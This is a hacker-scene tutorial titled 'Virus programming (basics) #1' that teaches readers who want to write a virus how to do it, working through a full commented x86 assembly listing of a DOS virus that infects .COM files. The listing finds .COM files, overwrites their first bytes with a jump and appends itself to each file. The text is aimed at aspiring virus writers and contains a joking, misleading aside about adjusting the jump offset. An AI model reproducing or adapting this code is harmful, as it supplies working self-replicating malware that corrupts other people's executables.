Virus programming (basics) #1...
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 This section is dedicated to those who would like to write a
virus, but don't have the knowledge to do so.  First of all,
writing a virus is no big deal.  It is an easy project, but one
which requires some basic programming skills, and the desire to
write a virus!  If either of these is missing, writing a virus
would be tedious indeed!.

 Well, if you meet these requisites, keep reading this article....

               JE   READ
               JNE  FUCK_YOU!
READ:

 The survival of a virus is based in its ability to reproduce.  "So
how the fuck do I make a program reproduce?", you might ask.
Simple, by getting it to copy itself to other files....

 The functional logic of a virus is as follows:

 1- Search for a file to infect
 2- Open the file to see if it is infected
 3- If infected, search for another file
 4- Else, infect the file
 5- Return control to the host program.

 The following is an example of a simple virus:

;****************************************************************
;                         START OF THE EXAMPLE:
;****************************************************************
;Warning, this example is a (piece of shit?)
; - The virus does not test for prior infection
; - it searches only for the first .COM file in the current
;   directory
;
; Careful when executing this file, since the first time it's
; executed it will search for and infect the first file in the
; directory.  If we later run the newly infected file, it will find

; the first file in its directory, itself.  Thus, it will re-infect

; itself over and over.
;===================CODIGO=======================================
;(The variables in a .COM file are relative to offset 100h).

codigo  segment 'code'
     org 100h                 ;Organize all the code starting
                              ; from offset 100h
     assume cs:codigo,ds:codigo,es:codigo    ;Define the use of the
                                             ;segments

start   proc far                   ;Start the routine
COMIENZO:
     push    cs                    ;Store  CS
     push    cs                    ;Store  CS
                              ; once again.
     pop     ds                    ;Bring DS out from stack
     pop     es                    ;Bring ES out from stack

     call    falso_proc            ;Call proc. so that its
                              ; address is placed in the stack
falso_proc      proc near
falso_proc      endp

     pop     bp                    ;BP<== Proc. address.
     sub     bp, 107h              ;BP<== BP - Previous directory


;This is done to take the variables relative to BP, since the
;infection displaces the variables at exactly the length of the
; file.  At the first infection, instruction "SUB BP, 107h" is
; 107h, so that the contents of BP is 0;  when I call a variable
; with "BP+VARIABLE"  the value of the variable's address is not
; modified.  When I load it , for example, from a 100h byte
; infected file, the instruction "SUB BP, 107h" leaves me at
; address 207h which means BP=100h, the size of the original file.
; Had I called the variable without adding BP, I would have been
; short by 100h bytes.


;Find the first .COM file in the directory
-----------------------------------------
     mov     ah, 4eh                    ;Search for the 1st file
     lea     dx, bp+file_inf            ;DS:DX= offset of FILE_INF
                              ;(*.*) so it will search all
                              ;the files, including directory
                              ;names with extensions.
     mov     cx, 0000h             ;Entry attributes
     int     21h

;These attributes mentioned in the commentary are the directory's
; entry attributes.  When I set the attributes to 0, I'm telling
; DOS to search normal files.  If I include a bit combination which

; provides the Hidden, System or Directory attributes, DOS will
; search for files with those attributes, as well as the normal
; files.  If the search range includes the Volume bit, the search
; is limited to that.

;These are the bits which correspond to each attribute:
;Bits:    7 6 5 4 3 2 1 0
;         . . . . . . . 1          Bit 0: Read only
;         . . . . . . 1 .          Bit 1: Hidden
;         . . . . . 1 . .          Bit 2: System
;         . . . . 1 . . .          Bit 3: Volume
;         . . . 1 . . . .          Bit 4: Directory
;         . . 1 . . . . .          Bit 5: File
;
;Bits 6 and 7 are not used as they are reserved for "future
; applications".

;Open file
;----------------------------------------------------------------
     mov     ah, 3dh                    ;Open the file.
     mov     al, 00000010b              ;read/write.
     mov     dx, 009eh             ;DX<== DTA(filename) offset
     int     21h                        ;put the handle in AX
     push    ax                         ;and store in stack.

;The attributes I'm setting in AL are not the same as before.
; These are the "open" attributes.  We are only interested in the
; first 3 bits,

;bits 2 1 0:
;
;     0 0 0          Read only mode
;     0 0 1          Write only mode
;     0 1 0          Read/Write mode
;
;OK, we now have the file attributes stored in AL.  What we now
; need to do is to store in DX the offset of the variable where
; I've stored the ASCIIZ chain with the name of the file to be
; opened.  In this case, we don't have a NAME_OF_FILE variable.
; Instead, the name is located in the DTA (Disk Transfer Area).  I
; we have it in the DTA......   Why?  Simply because when we search

; for a file to infect, all the information we need is returned to
; this memory area.  This buffer, if it was not reset, is found in
; the PSP; more precisely, it starts at offset 80h and is 43d bytes

; in size.
;
;The DTA format is as follows:
;
;Offset        Bytes          Function
; 00h           21d      Used by DOS for the 4fh service
;                        (search for the next file)
; 15h           01d      Attributes of the file that's been found
; 16h           02d      File time
; 18h           02d      File date
; 1Ah           04d      File size in bytes
; 1Eh           13d      File name in an ASCIIZ chain
;                        (FILENAME.EXT),0
;
;Well, all that remains to be doe is to give DX the position in
; memory where I've stored the filename:  "MOV DX, E1h" and its's
; done.  But careful now, remember that DTA starts at offset 80h,

; which means I have to pass to DX the value "80h+1Eh = 9Eh".  That

; would than leave "MOV DX, 9Eh"; the problem is solved.  Now you
are probably asking yourselves what I mean by "handle".  The handle
is a number which tells DOS which file we want.  DOS gives us a
handle for each file we open so we have to be careful to have the
correct handle for each file which we read/write.

;Read the first 3 bytes.
-----------------------------------------------------
     pop     bx                    ;I take the handle from the
                                   ;stack to BX
     push    bx                    ;and I store it again.
     mov     ah, 3fh               ;Read file.
     mov     cx, 0003h             ;Read 3 bytes.
     lea     dx, bp+buffer            ;and store in the buffer.
     int     21h

INFECTAR:                          ;(infect)
;Move pointer to the start.
---------------------------------------------------
     mov  ax, 4200h           ;I move the write pointer
                              ;to the beginning of the program
     mov     cx, 0000h
     mov     dx, 0000h
     int     21h

;The pointer's displacement, relative to the position of the
; pointer as specified in AL, is placed in CX and DX.
; Pointer displacement modes set in AL:
;    AL <== 00 Move pointer to the beginning of the file.
;    AL <== 01 leave pointer where it is.
;    AL <== 02 Move pointer to end-of-file.

;Write the first byte (jmp)
-------------------------------------------------
     mov     ah, 40h                    ;write the first byte.
     mov     cx, 1d                ;Quantity=1.
     lea     dx, bp+jump           ;DX<== JUMP offset
     int     21h

;(Here we still need the handle, but we don't need to set it again
; because the register which contained the information was not
; modified.
;
;The first byte to be written is a JUMP instruction (the symbol for

; the jump is below).  What follows the jump is the address of the
; jump, file-length + 1.  (test the "+ 1" thoroughly, since this
; can cause problems; if so, multiply by 18 or subtract 23.)
; Hehehehe.
;Since the entire virus code is copied at the end of the file, the
; jump gives the virus control in an infected file.

;Calculating file length
-------------------------------------------------
     mov     cx, 2                 ;Copy 2 bytes.
     mov     si, 009ah             ;SI<== DTA offset
     lea     di, bp+longitud            ;DI<== File LENGTH offset.
     rep     movsb                 ;Copy.


;This instruction must have the 'SOURCE' buffer address in DS:SI
; and the address where the string will be copied in ES:DI (in this

; case, I copy the file length of the DTA to the variable
; 'LONGITUD').


     sub  word ptr [bp+longitud], 3     ;subtract 3 bytes from
                                        ;[LONGITUD]

;The JMP is completed
--------------------------------------
     mov     ah, 40h                    ;Write.
     mov     cx, 2d                          ;Number of bytes.
     lea     dx, bp+longitud            ;DX<== LONGITUD (length)
                                        ; offset
     int     21h

;Move pointer to end
-------------------------------------------------------
     mov  ax, 4202h           ;Move the write pointer to the
                              ;end of the program.
     mov     cx, 0000h
     mov     dx, 0000h
     int     21h
     add  word ptr [bp+longitud],3 ;Restore LONGITUD.

;Copy the virus to the program.
---------------------------------------------------
     pop     bx                    ;Restore the handle.
     mov     ah, 40h
     mov     cx, 190d              ;number of bytes to copy.
     lea  dx, bp+comienzo               ;Start copying from....
     int     21h

;Close the file after infection
------------------------------------
     mov     ah, 3eh                    ;Close file.
     int     21h

;Here, too, we need in DS:DX the address of the buffer which
; contains the filename string, but in this case DS and DX already
; contain those values from before.

NO_INFECTAR:

;==================RETURN CONTROL TO THE HOST=====================
;Copy the buffer which contains the first 3 bytes of the file into
; memory.
------------------
     mov  cx, 0003h           ;Number of bytes (3).
     mov  di, 0100h           ;DI<== offset 100h. Beginning of the
                              ;program in memory.
     lea  si, bp+buffer            ;SI<== BUFFER offset
     rep  movsb                    ;Copy.

;What we are doing here is to "fix" the file, since when it was
; infected, the first few bytes are overwritten by the virus.  That

; is why we reconstruct the file to its original state, by copying
; the first 3 bytes, which we had stored earlier, into memory.

;Jump to offset 100h
--------------------------------------------------------

     mov  ax, 0100h           ;Address needed to execute the host
     jmp  ax

;As we mentioned before, in .COM files the executable code begins
; at offset 100h.  The information found between 00h and 100h is
; program data, like the DTA for example.

;The main difference between a .COM file and an .EXE is that a .COM
; cannot occupy more than one memory segment, or 65535 bytes.
; .EXEs can, because DOS can 'tailor' them to fit into a number of
; different segments.  Unlike.EXE files. .COM files are faithful
; reproductions of the contents of memory.

;====================DATA AREA===================================

buffer              db 7d dup(0)
longitud       db 2 dup(0)
file_inf       db '*.COM',0
jump           db 'é',0       ;<----jump ascii

;(The character '0' is the end of the ASCIIZ string)

start     endp                     ;End of main procedure
codigo  ends                       ;end of code segment
end     comienzo                   ;END. Go to  COMIENZO

;****************************************************************
;                              END OF EXAMPLE
;****************************************************************
                              Drako.


